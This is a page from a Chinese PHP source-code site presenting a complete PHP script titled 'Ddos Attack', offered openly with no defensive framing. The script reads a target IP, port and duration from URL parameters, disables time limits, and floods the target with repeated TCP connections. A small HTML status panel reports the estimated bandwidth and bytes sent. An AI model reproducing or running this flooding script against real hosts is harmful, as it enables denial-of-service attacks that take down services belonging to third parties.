Home >php教程 >PHP源码 >ddos PHP版

ddos PHP版

PHP中文网
PHP中文网Original
2016-05-25 17:12:232342browse

php代码

<?php
header("charset=&#39;utf-8&#39;");
error_reporting(0);
set_time_limit(0);
ignore_user_abort(TRUE);
$ip = $_GET[&#39;ip&#39;];
$port = $_GET[&#39;port&#39;];
$exec_time =time()+$_GET[&#39;time&#39;];
$byte = 0;
$true = 1;
while($true) {
	$byte++;
	if(time() >$exec_time) { 
		break;
	}
	$fp = fsockopen("tcp://$ip",$port,$errno,$errstr,0);
	if($fp) {
		fwrite($fp,$byte);
		fclose($fp);
	}
}
?>
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<title>Ddos Attack</title>
<style type="text/css">
body {margin: 0px;}
#confirm {background:rgba(125,125,125,0.4);filter:progid:DXImageTransform.Microsoft.Gradient(startColorstr=#40000000, endColorstr=#40000000);width:500px;margin:30px auto 0px auto;border:solid 1px #666;border-radius:3px;}
#confirm #inside {background:#FFFFFF;margin:5px;height:230px;border-radius:3px;}
#confirm #inside h1 {margin: 0px;font-family: Verdana, Geneva;font-size: 13px;padding:5px 10px;background-color: #f0f0f0;border:solid 1px #ddd;display: block;}
#confirm #inside #content {width: 300px;margin:25px auto 0px auto;line-height: 30px;font-size: 15px;font-family: Verdana, Geneva, sans-serif;}
</style>
</head>

<body>
<p id="confirm">
  <p id="inside">
    <h1>Ddos Attack</h1>
    <p id="content">Host: <?php echo $_GET[&#39;ip&#39;];?><br>Port: <?php echo $_GET[&#39;port&#39;]; ?><br>Flow: <?php echo round(($byte*65*8)/(1024*1024),2).&#39;Mbps&#39; ?><br>Byte: <?php echo $byte;?><br>Time: <?php echo $_GET[&#39;time&#39;]; ?></p>
  </p>
</p>
</body>
</html>
Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn